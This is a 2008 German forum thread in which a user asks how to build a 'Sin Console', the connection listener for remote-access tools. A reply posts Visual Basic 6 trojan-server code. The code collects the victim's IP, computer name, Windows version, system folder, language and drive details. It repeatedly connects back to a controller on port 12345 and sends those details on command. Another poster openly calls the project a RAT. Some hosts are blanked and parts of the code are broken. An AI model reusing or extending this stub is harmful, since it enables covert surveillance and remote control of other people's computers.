Funktionsweise einer Sin Console Verfasst am: 06.05.2008, 16:13
Hi Leute!
Da ich meine eigene Sin Console coden möchte, wollte ich mal fragen, wie das mit der Funktionsweise aussieht (Natürlich nicht für einen Trojaner oder anderen Schadcode!!).
Ich finde immer Sources, die mir nich viel weiterhelfen, da ich ja nicht einfach alles kopieren und einfügen will.
Dabei stell ich mir das so vor, dass, wenn ein Server zum Client connectet, der Client einfach die IP in einer Listview packt. Leider weiß ich nicht genau wie ich das umsetzen soll und ich hab noch kein VideoTutorial auf deutsch gefunden... Hab mir auch schon viele sources angeguckt, aber irgendwie weiß ich noch nicht wie ich das selber alles schreiben soll.
Vllt kann mir jemand einen Tipp geben o.Ä.
MfG _________________
DFJ Tutorial Leser
Anmeldedatum: 01.05.2008 Beiträge: 39
Verfasst am: 06.05.2008, 16:18
da kannst du dir nehmen , du machst einefach ein weitern winsock auf für die sinconsle , z.b dann ist es einfacher
Das hier in eine php datei , und irgend wo uploaden
mit dem Intnet Controller dann auslesen quelltex .
Oder aus cmd aus lesen mit ipconfig oder netstat -n
Code:
Option Explicit<br /> Dim land As String<br /> Dim windows As String<br /> Dim laufwerke(4) As String<br /> Dim ip As String<br /> Private Declare Function GetWindowsDirectory Lib "KERNEL32" _<br /> Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _<br /> ByVal nSize As Long) As Long<br /> <br />' Zunächst die benötigten API-Deklarationen<br />Private Const VER_PLATFORM_WIN32s As Long = 0<br />Private Const VER_PLATFORM_WIN32_WINDOWS As Long = 1<br />Private Const VER_PLATFORM_WIN32_NT As Long = 2<br />Private Const VER_NT_SERVER As Long = &H3<br />Private Const VER_NT_WORKSTATION As Long = &H1<br />Private Const VER_SUITE_PERSONAL As Long = &H200<br />Private Const VER_SUITE_DATACENTER As Long = &H80<br />Private Const VER_SUITE_ENTERPRISE As Long = &H2<br /> <br />' der alte Standard<br />Private Type OSVERSIONINFO<br /> dwOSVersionInfoSize As Long<br /> dwMajorVersion As Long<br /> dwMinorVersion As Long<br /> dwBuildNumber As Long<br /> dwPlatformId As Long<br /> szCSDVersion As String * 128<br />End Type<br /> <br />' gibt's ab NT 4.0 mit SP6 (vgl. MSDN-Library)<br />Private Type OSVERSIONINFOEX<br /> dwOSVersionInfoSize As Long<br /> dwMajorVersion As Long<br /> dwMinorVersion As Long<br /> dwBuildNumber As Long<br /> dwPlatformId As Long<br /> szCSDVersion As String * 128<br /> wServicePackMajor As Integer<br /> wServicePackMinor As Integer<br /> wSuiteMask As Integer<br /> wProductType As Byte<br /> wReserved As Byte<br />End Type<br /> <br /> <br />' nicht Standard-Deklaration, sondern<br />' "lpVersionInformation As OSVERSIONINFOEX"!<br />Private Declare Function GetVersionEx Lib "KERNEL32" _<br /> Alias "GetVersionExA" ( _<br /> lpVersionInformation As OSVERSIONINFOEX) As Long<br /><br /><br /><br />Private Declare Function GetSystemDefaultLCID Lib _<br /> "KERNEL32" () As Long<br /><br />Private Declare Function GetLocaleInfo Lib "KERNEL32" _<br /> Alias "GetLocaleInfoA" (ByVal Locale As Long, _<br /> ByVal LCType As Long, ByVal lpLCData As String, _<br /> ByVal cchData As Long) As Long<br /><br /><br />Const LOCALE_SLANGUAGE = &H2<br /><br /><br /><br /> Private Declare Function GetComputerName Lib "KERNEL32" _<br /> Alias "GetComputerNameA" (ByVal lpBuffer As String, _<br /> nSize As Long) As Long<br /><br /> Private Declare Function SetComputerName Lib "KERNEL32" _<br /> Alias "SetComputerNameA" (ByVal lpComputerName _<br /> As String) As Long<br /><br /> Private Function Computername_ermitteln()<br /> Dim s As String<br /> s = Space$(255)<br /> Call GetComputerName(s, Len(s))<br /> Computername_ermitteln = s<br /> End Function<br />Public Function GetWindowsVersion() As String<br /> Dim lRet As Long<br /> Dim VerInfo1 As OSVERSIONINFOEX 'neuer Datentyp<br /> Dim VerInfo2 As OSVERSIONINFO 'alter Datentyp<br /> <br /> On Error Resume Next<br /> <br /> ' hier wird die Größe des Datentyps festgelegt<br /> VerInfo1.dwOSVersionInfoSize = Len(VerInfo1)<br /> <br /> lRet = GetVersionEx(VerInfo1)<br /> If lRet = 0 Then<br /> ' wenn der erste Aufruf von GetVersionEx fehlgeschlagen<br /> ' hat, dann einfach die Größe des übergebenen<br /> ' Datentyps auf die des alten Typs ändern<br /> VerInfo1.dwOSVersionInfoSize = Len(VerInfo2)<br /> <br /> ' Versionsabfrage erneut aufrufen; wenn das auch<br /> ' schiefgeht, dann Funktion verlassen<br /> If GetVersionEx(VerInfo1) = 0 Then Exit Function<br /> End If<br /> <br /> ' jetzt kommt ein Wust von Prüfungen; vgl. dazu auch wieder<br /> ' den entsprechenden Eintrag für OSVERSIONINFOEX in der<br /> ' MSDN-Library<br /> With VerInfo1<br /> Select Case .dwPlatformId<br /> Case VER_PLATFORM_WIN32s<br /> GetWindowsVersion = "Win32s für Windows 3.x"<br /> <br /> Case VER_PLATFORM_WIN32_WINDOWS<br /> Select Case .dwMinorVersion<br /> Case 0<br /> Select Case UCase(Trim(.szCSDVersion))<br /> Case "A"<br /> GetWindowsVersion = "Windows 95 A"<br /> Case "B", "C"<br /> GetWindowsVersion = "Windows 95 OSR2"<br /> Case Else<br /> GetWindowsVersion = "Windows 95"<br /> End Select<br /> <br /> Case 10<br /> Select Case UCase(Trim(.szCSDVersion))<br /> Case "A"<br /> GetWindowsVersion = "Windows 98 SE"<br /> Case Else<br /> GetWindowsVersion = "Windows 98"<br /> End Select<br /> <br /> Case 90<br /> GetWindowsVersion = "Windows ME"<br /> End Select<br /> <br /> Case VER_PLATFORM_WIN32_NT<br /> Select Case .dwMajorVersion<br /> Case 3<br /> GetWindowsVersion = "Windows NT 3." & CStr(.dwMinorVersion)<br /> <br /> Case 4<br /> If CInt(Right$(Trim(.szCSDVersion), 1)) >= 6 Then<br /> ' mindestens Service-Pack 6 installiert<br /> ' OSVERSIONINFOEX-Struktur kann komplett<br /> ' ausgewertet werden<br /> If .wProductType = VER_NT_WORKSTATION Then<br /> GetWindowsVersion = "Windows NT 4.0 Workstation"<br /> Else<br /> GetWindowsVersion = "Windows NT 4.0 Server"<br /> End If<br /> Else<br /> GetWindowsVersion = "Windows NT 4.0"<br /> End If<br /> <br /> Case 5<br /> Select Case .dwMinorVersion<br /> Case 0<br /> If .wProductType = VER_NT_WORKSTATION Then<br /> GetWindowsVersion = "Windows 2000 Professional"<br /> Else<br /> If (.wSuiteMask And VER_SUITE_ENTERPRISE) = VER_SUITE_ENTERPRISE Then<br /> GetWindowsVersion = "Windows 2000 Advanced Server"<br /> ElseIf (.wSuiteMask And VER_SUITE_DATACENTER) = VER_SUITE_DATACENTER Then<br /> GetWindowsVersion = "Windows 2000 Datacenter Server"<br /> Else<br /> GetWindowsVersion = "Windows 2000 Server"<br /> End If<br /> End If<br /> <br /> Case 1<br /> If .wProductType = VER_NT_WORKSTATION Then<br /> If (.wSuiteMask And VER_SUITE_PERSONAL) = VER_SUITE_PERSONAL Then<br /> GetWindowsVersion = "Windows XP Home Edition"<br /> Else<br /> GetWindowsVersion = "Windows XP Professional"<br /> End If<br /> Else<br /> GetWindowsVersion = "Neue, unbekannte Windows-Version"<br /> End If<br /> Case Else<br /> GetWindowsVersion = "Neue, unbekannte Windows-Version"<br /> End Select<br /> <br /> Case Else<br /> GetWindowsVersion = "Unbekannte Version"<br /> End Select<br /> Case Else<br /> GetWindowsVersion = "Unbekannte Version"<br /> End Select<br /> End With<br />End Function<br />Private Function Trim(ByVal InString As String) As String<br /> Trim = LTrim(RTrim(InString))<br />End Function<br /><br />Public Function LTrim(ByVal InString As String) As String<br /> While InStr(Chr$(0) + Chr$(9) + Chr$(32), Left$(InString, 1)) > 0<br /> InString = Mid$(InString, 2)<br /> Wend<br /> LTrim = InString<br />End Function<br /><br />Public Function RTrim(ByVal InString As String) As String<br /> While InStr(Chr$(0) + Chr$(9) + Chr$(32), Right$(InString, 1)) > 0<br /> InString = Left$(InString, Len(InString) - 1)<br /> Wend<br /> RTrim = InString<br />End Function<br /> Private Function WinDir() As String<br /> Dim strlen As String<br /> Dim sDirBuf As String * 255<br /> strlen = GetWindowsDirectory(sDirBuf, 255)<br /> WinDir = Left$(sDirBuf, strlen)<br /> End Function<br /> <br /><br /> <br /><br /><br /><br /><br />Private Sub Form_Load()<br /><br /><br />LaufwerksInfo<br /><br />GLI LOCALE_SLANGUAGE, ""<br />windows = GetWindowsVersion<br />Dim quelltext As String<br />Dim ipos(1) As Long<br /><br />quelltext = Inet1.OpenURL("")<br />ipos(0) = InStr(1, quelltext, "</pre>")<br />ipos(1) = InStr(1, quelltext, "</script>")<br />ip = Mid(quelltext, ipos(1) + 11, ipos(0) - 233)<br /><br />Timer1.Enabled = True<br />End Sub<br />Private Sub LaufwerksInfo()<br /> Dim objWMI As Object<br /> Dim colClass As Object<br /> Dim objClass As Object<br /> Dim strComputer As String<br /> Dim strMeldung As String<br /> <br /> ' Name des Computers ( "." ist der aktuelle Computer, also dieser )<br /> strComputer = "."<br /> If strComputer = "" Then strComputer = "."<br /> <br /> Set objWMI = GetObject("winmgmts:\" & strComputer & "rootcimv2")<br /> Set colClass = objWMI.ExecQuery("Select * from Win32_LogicalDisk", , 48)<br /> <br /> On Error Resume Next<br /> Dim i As Integer<br /> <br /> For i = 0 To 3<br /> <br /> laufwerke(i) = ""<br /> Next i<br /> <br /> <br /> <br /> ' alle Objekte der Collection-Class LogicalDisk:<br /> ' ==============================================<br /> For Each objClass In colClass<br /> laufwerke(0) = objClass.DeviceId & " - " & objClass.Description<br /> <br /> laufwerke(1) = objClass.FileSystem & "(P)"<br /> laufwerke(2) = FormatNumber(objClass.Size / 1024, "0") & "mb"<br /> laufwerke(3) = FormatNumber(objClass.FreeSpace / 1024, "0") & "mb/"<br /> laufwerke(4) = laufwerke(4) & "ÖLÖ}]]ÖÄÖ" & laufwerke(0) & "ÖLÖ}]]ÖÄÖ" & laufwerke(2) & "ÖLÖ}]]ÖÄÖ" & laufwerke(3) & "ÖLÖ}]]ÖÄÖ" & laufwerke(1)<br /> Next<br /><br /> <br /> ' Objekte zerstören<br /> Set objWMI = Nothing<br /> Set colClass = Nothing<br /> Set objClass = Nothing<br />End Sub<br /><br />Private Sub Timer1_Timer()<br /> On Error Resume Next<br /><br />Winsock1.Connect "", "12345"<br /><br />End Sub<br /><br /><br /><br />Private Sub Winsock1_Close()<br />Timer1.Enabled = True<br /><br />End Sub<br /><br />Private Sub Winsock1_Connect()<br />Timer1.Enabled = False<br /><br />End Sub<br /><br />Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)<br />Winsock1.Close<br />Winsock1.Accept requestID<br /><br />End Sub<br />Private Sub GLI(ID&, Text$)<br /><br />land = GetEntry(ID)<br /> <br />End Sub<br />Private Function GetEntry(ID&) As String<br /> Dim LCID&, Result&, Buffer$, Length&<br /> <br /> LCID = GetSystemDefaultLCID()<br /> Length = GetLocaleInfo(LCID, ID, Buffer, 0) - 1<br /> Buffer = Space(Length + 1)<br /> Result = GetLocaleInfo(LCID, ID, Buffer, Length)<br /> GetEntry = Left$(Buffer, Length)<br />End Function<br />Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)<br />Dim daten As String<br />Dim infomation As String<br />Dim i As Integer<br />Dim festplatte As String<br />Dim laufinfo As String<br />Dim path() As String<br />Dim ordner As String<br /><br />Winsock1.GetData daten<br /><br />Select Case daten<br />Case "connect"<br /><br />infomation = ip & " ??)()((=?)=?OI(=) " & Computername_ermitteln() & " ??)()((=?)=?OI(=) " & windows & _<br />" ??)()((=?)=?OI(=) " & WinDir() & " ??)()((=?)=?OI(=) " & land<br />Winsock1.SendData infomation<br /><br />Case "festplatten"<br /><br />For i = 0 To Drive1.ListCount - 1<br />festplatte = festplatte & "89())()[][]++#+ädkjuio%&%&/%/()=" & Drive1.List(i)<br />Next i<br />Winsock1.SendData festplatte<br />Case "genuinfomation"<br />laufinfo = laufwerke(4)<br />Winsock1.SendData laufinfo<br />MsgBox " buh"<br />Case "Speicherabhollen"<br />laufinfo = laufinfo & "(=?=(OÄP=)()=?=)5467890JPÜ''*###*']}][]" & laufwerke(2)<br />Winsock1.SendData laufinfo<br /><br />Case "Connectezu"<br /><br />Winsock2.Connect "", "12346"<br />End Select
das code von server von mir für filemanger kannst du dir ja mal rein ziehen wenn es dir hilft bischen unübersichtlich aber was solls
edit \ persönliche sachen raus genommen
nacher steht dann halt
ip Computer name Windows version Windows verzeichnis Sprache vom windows
Marduk Überflieger
Anmeldedatum: 16.04.2008 Beiträge: 374
Verfasst am: 06.05.2008, 18:15
Was hat das bei den Tutorials zu suchen? Für sowas gibts keine Tutorials. Wenn man schon einen "RAT" coden will, sollte man auch in der Lage sein ein bisschen drüber nachzudenken und die "Sin-Console" für den "RAT" selber zu coden -.-
dcm Poster
Anmeldedatum: 03.05.2008 Beiträge: 101
Verfasst am: 06.05.2008, 18:45
bzw. mal zu googeln... gibt wunderbare beispiele, zum beispiel bei vb-france etc... _________________